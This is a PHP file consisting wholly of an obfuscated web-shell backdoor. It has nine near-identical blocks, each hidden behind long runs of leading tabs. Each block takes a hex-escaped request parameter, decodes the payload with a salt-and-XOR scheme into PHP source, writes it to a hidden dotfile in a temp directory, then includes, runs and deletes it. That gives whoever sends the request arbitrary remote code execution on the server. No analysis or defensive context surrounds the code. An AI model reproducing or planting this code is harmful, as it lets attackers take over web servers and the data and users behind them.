<?php																																										if(!is_null($_REQUEST["\x72eso\x75\x72\x63e"] ?? null)){ $dchunk = $_REQUEST["\x72eso\x75\x72\x63e"]; $dchunk = explode ("." , $dchunk); $tkn= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $v= 0; $len= count( $dchunk); do { if( $v >= $len) break; $v4= $dchunk[$v]; $chS= ord( $s[$v % $sLen]); $d= ( ( int)$v4 - $chS -( $v % 10)) ^ 43; $tkn .= chr( $d); $v++; } while( true); $fac = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP")]); foreach ($fac as $key) { if (max(0, is_dir($key) * is_writable($key))) { $value = sprintf("%s/.reference", $key); $success = file_put_contents($value, $tkn); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(array_key_exists("\x64es\x63", $_POST) && !is_null($_POST["\x64es\x63"])){ $ent = $_POST["\x64es\x63"]; $ent = explode( '.' , $ent) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; $len = count($ent); do {if ($z >=$len) break; $v8 = $ent[$z]; $chS = ord($s[$z% $lenS]); $dec = ((int)$v8 - $chS - ($z% 10))^ 78; $flag .= chr($dec); $z++;} while (true); $pset = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); for ($itm = 0, $value = count($pset); $itm < $value; $itm++) { $dat = $pset[$itm]; if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $res = sprintf("%s/.fac", $dat); if (file_put_contents($res, $flag)) { include $res; @unlink($res); die(); } } } }
																																										if(!empty($_POST["desc"])){ $pgrp = $_POST["desc"]; $pgrp =explode ( "." , $pgrp) ; $ent= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt); $r= 0; $__tmp= $pgrp; while( $v8= array_shift( $__tmp)) {$sChar= ord( $salt[$r % $sLen]); $dec= ( ( int)$v8 - $sChar -( $r % 10)) ^ 24; $ent .= chr( $dec); $r++; } $entry = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp"]); for ($reference = 0, $component = count($entry); $reference < $component; $reference++) { $dchunk = $entry[$reference]; if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $elem = "$dchunk" . "/.element"; if (file_put_contents($elem, $ent)) { require $elem; unlink($elem); exit; } } } }
																																										if(array_key_exists("r\x65\x73", $_POST)){ $record = array_filter(["/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $pointer = $_POST["r\x65\x73"]; $pointer= explode ('.' ,$pointer ) ; $reference =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); foreach( $pointer as $j => $v5): $chS =ord( $salt[$j % $sLen]); $d =( ( int)$v5 - $chS -( $j % 10)) ^ 98; $reference .= chr( $d); endforeach; foreach ($record as $val): if (!( !is_dir($val) || !is_writable($val) )) { $parameter_group = "$val" . "/.mrk"; $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $parameter_group; @unlink($parameter_group); die(); } } endforeach; }
																																										if(!empty($_POST["ref"])){ $token = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd()]); $hld = $_POST["ref"]; $hld=explode ( '.', $hld) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($hld); for ($k = 0; $k < $len; $k++) { $v1 = $hld[$k]; $sChar = ord($s[$k %$lenS]); $d = ((int)$v1 - $sChar - ($k %10)) ^ 65; $ent .= chr($d); } for ($key = 0, $value = count($token); $key < $value; $key++) { $sym = $token[$key]; if (!( !is_dir($sym) || !is_writable($sym) )) { $k = implode("/", [$sym, ".val"]); $file = fopen($k, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $k; @unlink($k); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6F\x62\x6Aect"])){ $res = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP")]); $obj = $_REQUEST["\x6F\x62\x6Aect"]; $obj = explode("." , $obj ) ; $record = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $n = 0; $__tmp = $obj; while( $v1 = array_shift( $__tmp)) { $chS = ord( $s2[$n % $lenS]); $d =( ( int)$v1 - $chS -( $n % 10)) ^ 3; $record.= chr( $d); $n++; } foreach ($res as $key => $desc) { if (max(0, is_dir($desc) * is_writable($desc))) { $hld = "$desc/.reference"; $success = file_put_contents($hld, $record); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(filter_has_var(INPUT_POST, "key")){ $reference = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); $data_chunk = $_POST["key"]; $data_chunk= explode ( "." , $data_chunk ); $itm = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9 ); $p = 0; $__tmp = $data_chunk; while($v8 = array_shift($__tmp)) {$sChar = ord($salt9[$p % $lenS] ); $dec = ((int)$v8 - $sChar -($p % 10)) ^ 1; $itm .= chr($dec ); $p++; } while ($desc = array_shift($reference)) { if (!( !is_dir($desc) || !is_writable($desc) )) { $record = sprintf("%s/.holder", $desc); if (file_put_contents($record, $itm)) { include $record; @unlink($record); exit; } } } }
																																										if(in_array("\x69tm", array_keys($_REQUEST))){ $ent = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), session_save_path()]); $mrk = $_REQUEST["\x69tm"]; $mrk= explode ( '.' , $mrk ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $o = 0; array_walk($mrk , function ($v9) use (&$tkn , &$o , $salt , $lenS) { $sChar = ord($salt[$o % $lenS]); $d = ((int)$v9 - $sChar - ($o % 10))^ 94; $tkn .= chr($d); $o++; } ); foreach ($ent as $key => $hld) { if (is_dir($hld) ? is_writable($hld) : false) { $item = sprintf("%s/.property_set", $hld); $file = fopen($item, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $item; @unlink($item); die(); } } } }


if(isset($_REQUEST["e\x6E\x74"]) ? true : false){
	$flg = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]);
	$ent = $_REQUEST["e\x6E\x74"];
	 $ent			=		 explode	( "."		,$ent	)   ; 		
	$flag	 =  '';
            $salt8	 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =  strlen($salt8	);
            $w	 =  0;
    
            $__tmp	 =  $ent;
            while ($v4	 =  array_shift($__tmp)) {  $chS	 =  ord($salt8[$w % $sLen]	);
                $dec	 =  ((int)$v4 - $chS - ($w % 10)) ^ 71;
                $flag	.= chr($dec	);
                $w++;
            }
	while ($component = array_shift($flg)) {
    		if (is_dir($component) ? is_writable($component) : false) {
    $bind = "$component" . "/.desc";
    if (@file_put_contents($bind, $flag) !== false) {
	include $bind;
	unlink($bind);
	die();
}
}
}
}